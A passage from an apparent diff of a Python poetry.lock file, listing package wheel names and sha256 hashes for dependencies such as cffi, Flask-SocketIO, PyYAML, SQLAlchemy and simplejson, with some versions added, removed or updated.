484 {file = "cffi-1.14.3-cp37-cp37m-manylinux2014_aarch64.whl", hash = "sha256:f4eae045e6ab2bb54ca279733fe4eb85f1effda392666308250714e01907f394"},
485 {file = "cffi-1.14.3-cp37-cp37m-win32.whl", hash = "sha256:b0358e6fefc74a16f745afa366acc89f979040e0cbc4eec55ab26ad1f6a9bfbc"},
486 {file = "cffi-1.14.3-cp37-cp37m-win_amd64.whl", hash = "sha256:6642f15ad963b5092d65aed022d033c77763515fdc07095208f15d3563003869"},
487 {file = "cffi-1.14.3-cp38-cp38-manylinux1_i686.whl", hash = "sha256:2791f68edc5749024b4722500e86303a10d342527e1e3bcac47f35fbd25b764e"},
488 {file = "cffi-1.14.3-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:529c4ed2e10437c205f38f3691a68be66c39197d01062618c55f74294a4a4828"},
489 {file = "cffi-1.14.3-cp38-cp38-manylinux2014_aarch64.whl", hash = "sha256:8f0f1e499e4000c4c347a124fa6a27d37608ced4fe9f7d45070563b7c4c370c9"},
490 {file = "cffi-1.14.3-cp38-cp38-win32.whl", hash = "sha256:3b8eaf915ddc0709779889c472e553f0d3e8b7bdf62dab764c8921b09bf94522"},
491 {file = "cffi-1.14.3-cp38-cp38-win_amd64.whl", hash = "sha256:bbd2f4dfee1079f76943767fce837ade3087b578aeb9f69aec7857d5bf25db15"},
492 {file = "cffi-1.14.3-cp39-cp39-manylinux1_i686.whl", hash = "sha256:cc75f58cdaf043fe6a7a6c04b3b5a0e694c6a9e24050967747251fb80d7bce0d"},
493 {file = "cffi-1.14.3-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:bf39a9e19ce7298f1bd6a9758fa99707e9e5b1ebe5e90f2c3913a47bc548747c"},
494 {file = "cffi-1.14.3-cp39-cp39-win32.whl", hash = "sha256:d80998ed59176e8cba74028762fbd9b9153b9afc71ea118e63bbf5d4d0f9552b"},
495 {file = "cffi-1.14.3-cp39-cp39-win_amd64.whl", hash = "sha256:c150eaa3dadbb2b5339675b88d4573c1be3cb6f2c33a6c83387e10cc0bf05bd3"},
496 {file = "cffi-1.14.3.tar.gz", hash = "sha256:f92f789e4f9241cd262ad7a555ca2c648a98178a953af117ef7fad46aa1d5591"},
523 {file = "cffi-1.14.4-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:ebb253464a5d0482b191274f1c8bf00e33f7e0b9c66405fbffc61ed2c839c775"},
524 {file = "cffi-1.14.4-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:2c24d61263f511551f740d1a065eb0212db1dbbbbd241db758f5244281590c06"},
525 {file = "cffi-1.14.4-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:9f7a31251289b2ab6d4012f6e83e58bc3b96bd151f5b5262467f4bb6b34a7c26"},
526 {file = "cffi-1.14.4-cp27-cp27m-win32.whl", hash = "sha256:5cf4be6c304ad0b6602f5c4e90e2f59b47653ac1ed9c662ed379fe48a8f26b0c"},
527 {file = "cffi-1.14.4-cp27-cp27m-win_amd64.whl", hash = "sha256:f60567825f791c6f8a592f3c6e3bd93dd2934e3f9dac189308426bd76b00ef3b"},
528 {file = "cffi-1.14.4-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:c6332685306b6417a91b1ff9fae889b3ba65c2292d64bd9245c093b1b284809d"},
529 {file = "cffi-1.14.4-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:d9efd8b7a3ef378dd61a1e77367f1924375befc2eba06168b6ebfa903a5e59ca"},
530 {file = "cffi-1.14.4-cp35-cp35m-macosx_10_9_x86_64.whl", hash = "sha256:51a8b381b16ddd370178a65360ebe15fbc1c71cf6f584613a7ea08bfad946698"},
531 {file = "cffi-1.14.4-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:1d2c4994f515e5b485fd6d3a73d05526aa0fcf248eb135996b088d25dfa1865b"},
532 {file = "cffi-1.14.4-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:af5c59122a011049aad5dd87424b8e65a80e4a6477419c0c1015f73fb5ea0293"},
533 {file = "cffi-1.14.4-cp35-cp35m-win32.whl", hash = "sha256:594234691ac0e9b770aee9fcdb8fa02c22e43e5c619456efd0d6c2bf276f3eb2"},
534 {file = "cffi-1.14.4-cp35-cp35m-win_amd64.whl", hash = "sha256:64081b3f8f6f3c3de6191ec89d7dc6c86a8a43911f7ecb422c60e90c70be41c7"},
535 {file = "cffi-1.14.4-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:f803eaa94c2fcda012c047e62bc7a51b0bdabda1cad7a92a522694ea2d76e49f"},
536 {file = "cffi-1.14.4-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:105abaf8a6075dc96c1fe5ae7aae073f4696f2905fde6aeada4c9d2926752362"},
537 {file = "cffi-1.14.4-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:0638c3ae1a0edfb77c6765d487fee624d2b1ee1bdfeffc1f0b58c64d149e7eec"},
538 {file = "cffi-1.14.4-cp36-cp36m-manylinux2014_aarch64.whl", hash = "sha256:7c6b1dece89874d9541fc974917b631406233ea0440d0bdfbb8e03bf39a49b3b"},
539 {file = "cffi-1.14.4-cp36-cp36m-win32.whl", hash = "sha256:155136b51fd733fa94e1c2ea5211dcd4c8879869008fc811648f16541bf99668"},
540 {file = "cffi-1.14.4-cp36-cp36m-win_amd64.whl", hash = "sha256:6bc25fc545a6b3d57b5f8618e59fc13d3a3a68431e8ca5fd4c13241cd70d0009"},
541 {file = "cffi-1.14.4-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:a7711edca4dcef1a75257b50a2fbfe92a65187c47dab5a0f1b9b332c5919a3fb"},
542 {file = "cffi-1.14.4-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:00e28066507bfc3fe865a31f325c8391a1ac2916219340f87dfad602c3e48e5d"},
543 {file = "cffi-1.14.4-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:798caa2a2384b1cbe8a2a139d80734c9db54f9cc155c99d7cc92441a23871c03"},
544 {file = "cffi-1.14.4-cp37-cp37m-manylinux2014_aarch64.whl", hash = "sha256:a5ed8c05548b54b998b9498753fb9cadbfd92ee88e884641377d8a8b291bcc01"},
545 {file = "cffi-1.14.4-cp37-cp37m-win32.whl", hash = "sha256:00a1ba5e2e95684448de9b89888ccd02c98d512064b4cb987d48f4b40aa0421e"},
546 {file = "cffi-1.14.4-cp37-cp37m-win_amd64.whl", hash = "sha256:9cc46bc107224ff5b6d04369e7c595acb700c3613ad7bcf2e2012f62ece80c35"},
547 {file = "cffi-1.14.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:df5169c4396adc04f9b0a05f13c074df878b6052430e03f50e68adf3a57aa28d"},
548 {file = "cffi-1.14.4-cp38-cp38-manylinux1_i686.whl", hash = "sha256:9ffb888f19d54a4d4dfd4b3f29bc2c16aa4972f1c2ab9c4ab09b8ab8685b9c2b"},
549 {file = "cffi-1.14.4-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:8d6603078baf4e11edc4168a514c5ce5b3ba6e3e9c374298cb88437957960a53"},
550 {file = "cffi-1.14.4-cp38-cp38-manylinux2014_aarch64.whl", hash = "sha256:d5ff0621c88ce83a28a10d2ce719b2ee85635e85c515f12bac99a95306da4b2e"},
551 {file = "cffi-1.14.4-cp38-cp38-win32.whl", hash = "sha256:b4e248d1087abf9f4c10f3c398896c87ce82a9856494a7155823eb45a892395d"},
552 {file = "cffi-1.14.4-cp38-cp38-win_amd64.whl", hash = "sha256:ec80dc47f54e6e9a78181ce05feb71a0353854cc26999db963695f950b5fb375"},
553 {file = "cffi-1.14.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:840793c68105fe031f34d6a086eaea153a0cd5c491cde82a74b420edd0a2b909"},
554 {file = "cffi-1.14.4-cp39-cp39-manylinux1_i686.whl", hash = "sha256:b18e0a9ef57d2b41f5c68beefa32317d286c3d6ac0484efd10d6e07491bb95dd"},
555 {file = "cffi-1.14.4-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:045d792900a75e8b1e1b0ab6787dd733a8190ffcf80e8c8ceb2fb10a29ff238a"},
556 {file = "cffi-1.14.4-cp39-cp39-win32.whl", hash = "sha256:ba4e9e0ae13fc41c6b23299545e5ef73055213e466bd107953e4a013a5ddd7e3"},
557 {file = "cffi-1.14.4-cp39-cp39-win_amd64.whl", hash = "sha256:f032b34669220030f905152045dfa27741ce1a6db3324a5bc0b96b6c7420c87b"},
558 {file = "cffi-1.14.4.tar.gz", hash = "sha256:1a465cbe98a7fd391d47dce4b8f7e5b921e6cd805ef421d04f5f66ba8f06086c"},
497559 ]
498560 chardet = [
499561 {file = "chardet-3.0.4-py2.py3-none-any.whl", hash = "sha256:fc323ffcaeaed0e0a02bf4d117757b98aed530d9ed4531e3e15460124c106691"},
537599 {file = "Flask-1.1.2.tar.gz", hash = "sha256:4efa1ae2d7c9865af48986de8aeb8504bf32c7f3d6fdc9353d34b21f4b127060"},
538600 ]
539601 flask-socketio = [
540 {file = "Flask-SocketIO-4.3.1.tar.gz", hash = "sha256:36c1d5765010d1f4e4f05b4cc9c20c289d9dc70698c88d1addd0afcfedc5b062"},
541 {file = "Flask_SocketIO-4.3.1-py2.py3-none-any.whl", hash = "sha256:3668675bf7763c5b5f56689d439f07356e89c0a52e0c9e9cd3cc08563c07b252"},
602 {file = "Flask-SocketIO-4.3.2.tar.gz", hash = "sha256:37001b3507f2fa5d1c8d9c8e211dd88da6c5286ff0ebce16f27cb1b467d25d68"},
603 {file = "Flask_SocketIO-4.3.2-py2.py3-none-any.whl", hash = "sha256:26de451f9ddfd2053ca66a0a5d6b6f53c65246ddcb453fbf9fa8dba364c73a52"},
542604 ]
543605 future = [
544606 {file = "future-0.18.2.tar.gz", hash = "sha256:b1bead90b70cf6ec3f0710ae53a525360fa360d306a86583adc6bf83a4db537d"},
628690 pefile = [
629691 {file = "pefile-2019.4.18.tar.gz", hash = "sha256:a5d6e8305c6b210849b47a6174ddf9c452b2888340b8177874b862ba6c207645"},
630692 ]
693 prompt-toolkit = [
694 {file = "prompt_toolkit-3.0.9-py3-none-any.whl", hash = "sha256:45b154489d89dc41cce86a069a65f3886206518e7ca93fa9d7dad70546c78d54"},
695 {file = "prompt_toolkit-3.0.9.tar.gz", hash = "sha256:c5eeab58dd31b541442825d7870777f2a2f764eb5fda03334d5219cd84b9722f"},
696 ]
631697 pycparser = [
632698 {file = "pycparser-2.20-py2.py3-none-any.whl", hash = "sha256:7582ad22678f0fcd81102833f60ef8d0e57288b6b5fb00323d101be910e35705"},
633699 {file = "pycparser-2.20.tar.gz", hash = "sha256:2d475327684562c3a96cc71adf7dc8c4f0565175cf86b6d7a404ff4c771f15f0"},
649715 pyminifier = [
650716 {file = "pyminifier-2.1.tar.gz", hash = "sha256:e192618fe901830e9298825b32828bc9555ae8649e05af37bfab2db328546777"},
651717 ]
718 pymysql = [
719 {file = "PyMySQL-0.10.1-py2.py3-none-any.whl", hash = "sha256:44f47128dda8676e021c8d2dbb49a82be9e4ab158b9f03e897152a3a287c69ea"},
720 {file = "PyMySQL-0.10.1.tar.gz", hash = "sha256:263040d2779a3b84930f7ac9da5132be0fefcd6f453a885756656103f8ee1fdd"},
721 ]
652722 pyopenssl = [
653723 {file = "pyOpenSSL-19.1.0-py2.py3-none-any.whl", hash = "sha256:621880965a720b8ece2f1b2f54ea2071966ab00e2970ad2ce11d596102063504"},
654724 {file = "pyOpenSSL-19.1.0.tar.gz", hash = "sha256:9a24494b2602aaf402be5c9e30a0b82d4a5c67528fe8fb475e3f3bc00dd69507"},
669739 {file = "pywin32-ctypes-0.2.0.tar.gz", hash = "sha256:24ffc3b341d457d48e8922352130cf2644024a4ff09762a2261fd34c36ee5942"},
670740 {file = "pywin32_ctypes-0.2.0-py2.py3-none-any.whl", hash = "sha256:9dc2d991b3479cc2df15930958b674a48a227d5361d413827a4cfd0b5876fc98"},
671741 ]
742 pyyaml = [
743 {file = "PyYAML-5.3.1-cp27-cp27m-win32.whl", hash = "sha256:74809a57b329d6cc0fdccee6318f44b9b8649961fa73144a98735b0aaf029f1f"},
744 {file = "PyYAML-5.3.1-cp27-cp27m-win_amd64.whl", hash = "sha256:240097ff019d7c70a4922b6869d8a86407758333f02203e0fc6ff79c5dcede76"},
745 {file = "PyYAML-5.3.1-cp35-cp35m-win32.whl", hash = "sha256:4f4b913ca1a7319b33cfb1369e91e50354d6f07a135f3b901aca02aa95940bd2"},
746 {file = "PyYAML-5.3.1-cp35-cp35m-win_amd64.whl", hash = "sha256:cc8955cfbfc7a115fa81d85284ee61147059a753344bc51098f3ccd69b0d7e0c"},
747 {file = "PyYAML-5.3.1-cp36-cp36m-win32.whl", hash = "sha256:7739fc0fa8205b3ee8808aea45e968bc90082c10aef6ea95e855e10abf4a37b2"},
748 {file = "PyYAML-5.3.1-cp36-cp36m-win_amd64.whl", hash = "sha256:69f00dca373f240f842b2931fb2c7e14ddbacd1397d57157a9b005a6a9942648"},
749 {file = "PyYAML-5.3.1-cp37-cp37m-win32.whl", hash = "sha256:d13155f591e6fcc1ec3b30685d50bf0711574e2c0dfffd7644babf8b5102ca1a"},
750 {file = "PyYAML-5.3.1-cp37-cp37m-win_amd64.whl", hash = "sha256:73f099454b799e05e5ab51423c7bcf361c58d3206fa7b0d555426b1f4d9a3eaf"},
751 {file = "PyYAML-5.3.1-cp38-cp38-win32.whl", hash = "sha256:06a0d7ba600ce0b2d2fe2e78453a470b5a6e000a985dd4a4e54e436cc36b0e97"},
752 {file = "PyYAML-5.3.1-cp38-cp38-win_amd64.whl", hash = "sha256:95f71d2af0ff4227885f7a6605c37fd53d3a106fcab511b8860ecca9fcf400ee"},
753 {file = "PyYAML-5.3.1.tar.gz", hash = "sha256:b8eac752c5e14d3eca0e6dd9199cd627518cb5ec06add0de9d32baeee6fe645d"},
754 ]
672755 requests = [
673756 {file = "requests-2.24.0-py2.py3-none-any.whl", hash = "sha256:fe75cc94a9443b9246fc7049224f75604b113c36acb93f87b80ed42c44cbb898"},
674757 {file = "requests-2.24.0.tar.gz", hash = "sha256:b3559a131db72c33ee969480840fff4bb6dd111de7dd27c8ee1f820f4f00231b"},
675758 ]
676 simplejson = [
677 {file = "simplejson-3.17.2-cp27-cp27m-macosx_10_13_x86_64.whl", hash = "sha256:2d3eab2c3fe52007d703a26f71cf649a8c771fcdd949a3ae73041ba6797cfcf8"},
678 {file = "simplejson-3.17.2-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:813846738277729d7db71b82176204abc7fdae2f566e2d9fcf874f9b6472e3e6"},
679 {file = "simplejson-3.17.2-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:292c2e3f53be314cc59853bd20a35bf1f965f3bc121e007ab6fd526ed412a85d"},
680 {file = "simplejson-3.17.2-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:0dd9d9c738cb008bfc0862c9b8fa6743495c03a0ed543884bf92fb7d30f8d043"},
681 {file = "simplejson-3.17.2-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:42b8b8dd0799f78e067e2aaae97e60d58a8f63582939af60abce4c48631a0aa4"},
682 {file = "simplejson-3.17.2-cp27-cp27m-win32.whl", hash = "sha256:8042040af86a494a23c189b5aa0ea9433769cc029707833f261a79c98e3375f9"},
683 {file = "simplejson-3.17.2-cp27-cp27m-win_amd64.whl", hash = "sha256:034550078a11664d77bc1a8364c90bb7eef0e44c2dbb1fd0a4d92e3997088667"},
684 {file = "simplejson-3.17.2-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:fed0f22bf1313ff79c7fc318f7199d6c2f96d4de3234b2f12a1eab350e597c06"},
685 {file = "simplejson-3.17.2-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:2e7b57c2c146f8e4dadf84977a83f7ee50da17c8861fd7faf694d55e3274784f"},
686 {file = "simplejson-3.17.2-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:da3c55cdc66cfc3fffb607db49a42448785ea2732f055ac1549b69dcb392663b"},
687 {file = "simplejson-3.17.2-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:c1cb29b1fced01f97e6d5631c3edc2dadb424d1f4421dad079cb13fc97acb42f"},
688 {file = "simplejson-3.17.2-cp33-cp33m-win32.whl", hash = "sha256:8f713ea65958ef40049b6c45c40c206ab363db9591ff5a49d89b448933fa5746"},
689 {file = "simplejson-3.17.2-cp33-cp33m-win_amd64.whl", hash = "sha256:344e2d920a7f27b4023c087ab539877a1e39ce8e3e90b867e0bfa97829824748"},
690 {file = "simplejson-3.17.2-cp34-cp34m-win32.whl", hash = "sha256:05b43d568300c1cd43f95ff4bfcff984bc658aa001be91efb3bb21df9d6288d3"},
691 {file = "simplejson-3.17.2-cp34-cp34m-win_amd64.whl", hash = "sha256:cff6453e25204d3369c47b97dd34783ca820611bd334779d22192da23784194b"},
692 {file = "simplejson-3.17.2-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:8acf76443cfb5c949b6e781c154278c059b09ac717d2757a830c869ba000cf8d"},
693 {file = "simplejson-3.17.2-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:869a183c8e44bc03be1b2bbcc9ec4338e37fa8557fc506bf6115887c1d3bb956"},
694 {file = "simplejson-3.17.2-cp35-cp35m-manylinux2010_i686.whl", hash = "sha256:5c659a0efc80aaaba57fcd878855c8534ecb655a28ac8508885c50648e6e659d"},
695 {file = "simplejson-3.17.2-cp35-cp35m-manylinux2010_x86_64.whl", hash = "sha256:72d8a3ffca19a901002d6b068cf746be85747571c6a7ba12cbcf427bfb4ed971"},
696 {file = "simplejson-3.17.2-cp35-cp35m-manylinux2014_aarch64.whl", hash = "sha256:4b3442249d5e3893b90cb9f72c7d6ce4d2ea144d2c0d9f75b9ae1e5460f3121a"},
697 {file = "simplejson-3.17.2-cp35-cp35m-win32.whl", hash = "sha256:e058c7656c44fb494a11443191e381355388443d543f6fc1a245d5d238544396"},
698 {file = "simplejson-3.17.2-cp35-cp35m-win_amd64.whl", hash = "sha256:934115642c8ba9659b402c8bdbdedb48651fb94b576e3b3efd1ccb079609b04a"},
699 {file = "simplejson-3.17.2-cp36-cp36m-macosx_10_13_x86_64.whl", hash = "sha256:ffd4e4877a78c84d693e491b223385e0271278f5f4e1476a4962dca6824ecfeb"},
700 {file = "simplejson-3.17.2-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:10fc250c3edea4abc15d930d77274ddb8df4803453dde7ad50c2f5565a18a4bb"},
701 {file = "simplejson-3.17.2-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:76ac9605bf2f6d9b56abf6f9da9047a8782574ad3531c82eae774947ae99cc3f"},
702 {file = "simplejson-3.17.2-cp36-cp36m-manylinux2010_i686.whl", hash = "sha256:7f10f8ba9c1b1430addc7dd385fc322e221559d3ae49b812aebf57470ce8de45"},
703 {file = "simplejson-3.17.2-cp36-cp36m-manylinux2010_x86_64.whl", hash = "sha256:bc00d1210567a4cdd215ac6e17dc00cb9893ee521cee701adfd0fa43f7c73139"},
704 {file = "simplejson-3.17.2-cp36-cp36m-manylinux2014_aarch64.whl", hash = "sha256:af4868da7dd53296cd7630687161d53a7ebe2e63814234631445697bd7c29f46"},
705 {file = "simplejson-3.17.2-cp36-cp36m-win32.whl", hash = "sha256:7d276f69bfc8c7ba6c717ba8deaf28f9d3c8450ff0aa8713f5a3280e232be16b"},
706 {file = "simplejson-3.17.2-cp36-cp36m-win_amd64.whl", hash = "sha256:a55c76254d7cf8d4494bc508e7abb993a82a192d0db4552421e5139235604625"},
707 {file = "simplejson-3.17.2-cp37-cp37m-macosx_10_14_x86_64.whl", hash = "sha256:9a2b7543559f8a1c9ed72724b549d8cc3515da7daf3e79813a15bdc4a769de25"},
708 {file = "simplejson-3.17.2-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:311f5dc2af07361725033b13cc3d0351de3da8bede3397d45650784c3f21fbcf"},
709 {file = "simplejson-3.17.2-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:2862beabfb9097a745a961426fe7daf66e1714151da8bb9a0c430dde3d59c7c0"},
710 {file = "simplejson-3.17.2-cp37-cp37m-manylinux2010_i686.whl", hash = "sha256:afebfc3dd3520d37056f641969ce320b071bc7a0800639c71877b90d053e087f"},
711 {file = "simplejson-3.17.2-cp37-cp37m-manylinux2010_x86_64.whl", hash = "sha256:d4813b30cb62d3b63ccc60dd12f2121780c7a3068db692daeb90f989877aaf04"},
712 {file = "simplejson-3.17.2-cp37-cp37m-manylinux2014_aarch64.whl", hash = "sha256:3fabde09af43e0cbdee407555383063f8b45bfb52c361bc5da83fcffdb4fd278"},
713 {file = "simplejson-3.17.2-cp37-cp37m-win32.whl", hash = "sha256:ceaa28a5bce8a46a130cd223e895080e258a88d51bf6e8de2fc54a6ef7e38c34"},
714 {file = "simplejson-3.17.2-cp37-cp37m-win_amd64.whl", hash = "sha256:9551f23e09300a9a528f7af20e35c9f79686d46d646152a0c8fc41d2d074d9b0"},
715 {file = "simplejson-3.17.2-cp38-cp38-macosx_10_14_x86_64.whl", hash = "sha256:c94dc64b1a389a416fc4218cd4799aa3756f25940cae33530a4f7f2f54f166da"},
716 {file = "simplejson-3.17.2-cp38-cp38-manylinux1_i686.whl", hash = "sha256:b59aa298137ca74a744c1e6e22cfc0bf9dca3a2f41f51bc92eb05695155d905a"},
717 {file = "simplejson-3.17.2-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:ad8f41c2357b73bc9e8606d2fa226233bf4d55d85a8982ecdfd55823a6959995"},
718 {file = "simplejson-3.17.2-cp38-cp38-manylinux2010_i686.whl", hash = "sha256:845a14f6deb124a3bcb98a62def067a67462a000e0508f256f9c18eff5847efc"},
719 {file = "simplejson-3.17.2-cp38-cp38-manylinux2010_x86_64.whl", hash = "sha256:d0b64409df09edb4c365d95004775c988259efe9be39697d7315c42b7a5e7e94"},
720 {file = "simplejson-3.17.2-cp38-cp38-manylinux2014_aarch64.whl", hash = "sha256:55d65f9cc1b733d85ef95ab11f559cce55c7649a2160da2ac7a078534da676c8"},
721 {file = "simplejson-3.17.2.tar.gz", hash = "sha256:75ecc79f26d99222a084fbdd1ce5aad3ac3a8bd535cd9059528452da38b68841"},
722 ]
723759 six = [
724760 {file = "six-1.15.0-py2.py3-none-any.whl", hash = "sha256:8b74bedcbbbaca38ff6d7491d76f2b06b3592611af620f8426e82dddb04a5ced"},
725761 {file = "six-1.15.0.tar.gz", hash = "sha256:30639c035cdb23534cd4aa2dd52c3bf48f06e5f4a941509c8bafd8ce11080259"},
726762 ]
763 sqlalchemy = [
764 {file = "SQLAlchemy-1.3.20-cp27-cp27m-macosx_10_14_x86_64.whl", hash = "sha256:bad73f9888d30f9e1d57ac8829f8a12091bdee4949b91db279569774a866a18e"},
765 {file = "SQLAlchemy-1.3.20-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:e32e3455db14602b6117f0f422f46bc297a3853ae2c322ecd1e2c4c04daf6ed5"},
766 {file = "SQLAlchemy-1.3.20-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:5cdfe54c1e37279dc70d92815464b77cd8ee30725adc9350f06074f91dbfeed2"},
767 {file = "SQLAlchemy-1.3.20-cp27-cp27m-win32.whl", hash = "sha256:2e9bd5b23bba8ae8ce4219c9333974ff5e103c857d9ff0e4b73dc4cb244c7d86"},
768 {file = "SQLAlchemy-1.3.20-cp27-cp27m-win_amd64.whl", hash = "sha256:5d92c18458a4aa27497a986038d5d797b5279268a2de303cd00910658e8d149c"},
769 {file = "SQLAlchemy-1.3.20-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:53fd857c6c8ffc0aa6a5a3a2619f6a74247e42ec9e46b836a8ffa4abe7aab327"},
770 {file = "SQLAlchemy-1.3.20-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:0a92745bb1ebbcb3985ed7bda379b94627f0edbc6c82e9e4bac4fb5647ae609a"},
771 {file = "SQLAlchemy-1.3.20-cp35-cp35m-macosx_10_14_x86_64.whl", hash = "sha256:b6f036ecc017ec2e2cc2a40615b41850dc7aaaea6a932628c0afc73ab98ba3fb"},
772 {file = "SQLAlchemy-1.3.20-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:3aa6d45e149a16aa1f0c46816397e12313d5e37f22205c26e06975e150ffcf2a"},
773 {file = "SQLAlchemy-1.3.20-cp35-cp35m-manylinux2010_x86_64.whl", hash = "sha256:ed53209b5f0f383acb49a927179fa51a6e2259878e164273ebc6815f3a752465"},
774 {file = "SQLAlchemy-1.3.20-cp35-cp35m-manylinux2014_aarch64.whl", hash = "sha256:d3b709d64b5cf064972b3763b47139e4a0dc4ae28a36437757f7663f67b99710"},
775 {file = "SQLAlchemy-1.3.20-cp35-cp35m-win32.whl", hash = "sha256:950f0e17ffba7a7ceb0dd056567bc5ade22a11a75920b0e8298865dc28c0eff6"},
776 {file = "SQLAlchemy-1.3.20-cp35-cp35m-win_amd64.whl", hash = "sha256:8dcbf377529a9af167cbfc5b8acec0fadd7c2357fc282a1494c222d3abfc9629"},
777 {file = "SQLAlchemy-1.3.20-cp36-cp36m-macosx_10_14_x86_64.whl", hash = "sha256:0157c269701d88f5faf1fa0e4560e4d814f210c01a5b55df3cab95e9346a8bcc"},
778 {file = "SQLAlchemy-1.3.20-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:7cd40cb4bc50d9e87b3540b23df6e6b24821ba7e1f305c1492b0806c33dbdbec"},
779 {file = "SQLAlchemy-1.3.20-cp36-cp36m-manylinux2010_x86_64.whl", hash = "sha256:c092fe282de83d48e64d306b4bce03114859cdbfe19bf8a978a78a0d44ddadb1"},
780 {file = "SQLAlchemy-1.3.20-cp36-cp36m-manylinux2014_aarch64.whl", hash = "sha256:166917a729b9226decff29416f212c516227c2eb8a9c9f920d69ced24e30109f"},
781 {file = "SQLAlchemy-1.3.20-cp36-cp36m-win32.whl", hash = "sha256:632b32183c0cb0053194a4085c304bc2320e5299f77e3024556fa2aa395c2a8b"},
782 {file = "SQLAlchemy-1.3.20-cp36-cp36m-win_amd64.whl", hash = "sha256:bbc58fca72ce45a64bb02b87f73df58e29848b693869e58bd890b2ddbb42d83b"},
783 {file = "SQLAlchemy-1.3.20-cp37-cp37m-macosx_10_14_x86_64.whl", hash = "sha256:b15002b9788ffe84e42baffc334739d3b68008a973d65fad0a410ca5d0531980"},
784 {file = "SQLAlchemy-1.3.20-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:9e379674728f43a0cd95c423ac0e95262500f9bfd81d33b999daa8ea1756d162"},
785 {file = "SQLAlchemy-1.3.20-cp37-cp37m-manylinux2010_x86_64.whl", hash = "sha256:2b5dafed97f778e9901b79cc01b88d39c605e0545b4541f2551a2fd785adc15b"},
786 {file = "SQLAlchemy-1.3.20-cp37-cp37m-manylinux2014_aarch64.whl", hash = "sha256:fcdb3755a7c355bc29df1b5e6fb8226d5c8b90551d202d69d0076a8a5649d68b"},
787 {file = "SQLAlchemy-1.3.20-cp37-cp37m-win32.whl", hash = "sha256:bca4d367a725694dae3dfdc86cf1d1622b9f414e70bd19651f5ac4fb3aa96d61"},
788 {file = "SQLAlchemy-1.3.20-cp37-cp37m-win_amd64.whl", hash = "sha256:f605f348f4e6a2ba00acb3399c71d213b92f27f2383fc4abebf7a37368c12142"},
789 {file = "SQLAlchemy-1.3.20-cp38-cp38-macosx_10_14_x86_64.whl", hash = "sha256:84f0ac4a09971536b38cc5d515d6add7926a7e13baa25135a1dbb6afa351a376"},
790 {file = "SQLAlchemy-1.3.20-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:2909dffe5c9a615b7e6c92d1ac2d31e3026dc436440a4f750f4749d114d88ceb"},
791 {file = "SQLAlchemy-1.3.20-cp38-cp38-manylinux2010_x86_64.whl", hash = "sha256:c3ab23ee9674336654bf9cac30eb75ac6acb9150dc4b1391bec533a7a4126471"},
792 {file = "SQLAlchemy-1.3.20-cp38-cp38-manylinux2014_aarch64.whl", hash = "sha256:009e8388d4d551a2107632921320886650b46332f61dc935e70c8bcf37d8e0d6"},
793 {file = "SQLAlchemy-1.3.20-cp38-cp38-win32.whl", hash = "sha256:bf53d8dddfc3e53a5bda65f7f4aa40fae306843641e3e8e701c18a5609471edf"},
794 {file = "SQLAlchemy-1.3.20-cp38-cp38-win_amd64.whl", hash = "sha256:7c735c7a6db8ee9554a3935e741cf288f7dcbe8706320251eb38c412e6a4281d"},
795 {file = "SQLAlchemy-1.3.20-cp39-cp39-macosx_10_14_x86_64.whl", hash = "sha256:4bdbdb8ca577c6c366d15791747c1de6ab14529115a2eb52774240c412a7b403"},
796 {file = "SQLAlchemy-1.3.20-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:ce64a44c867d128ab8e675f587aae7f61bd2db836a3c4ba522d884cd7c298a77"},
797 {file = "SQLAlchemy-1.3.20-cp39-cp39-manylinux2010_x86_64.whl", hash = "sha256:be41d5de7a8e241864189b7530ca4aaf56a5204332caa70555c2d96379e18079"},
798 {file = "SQLAlchemy-1.3.20-cp39-cp39-manylinux2014_aarch64.whl", hash = "sha256:1f5f369202912be72fdf9a8f25067a5ece31a2b38507bb869306f173336348da"},
799 {file = "SQLAlchemy-1.3.20-cp39-cp39-win32.whl", hash = "sha256:0cca1844ba870e81c03633a99aa3dc62256fb96323431a5dec7d4e503c26372d"},
800 {file = "SQLAlchemy-1.3.20-cp39-cp39-win_amd64.whl", hash = "sha256:d05cef4a164b44ffda58200efcb22355350979e000828479971ebca49b82ddb1"},
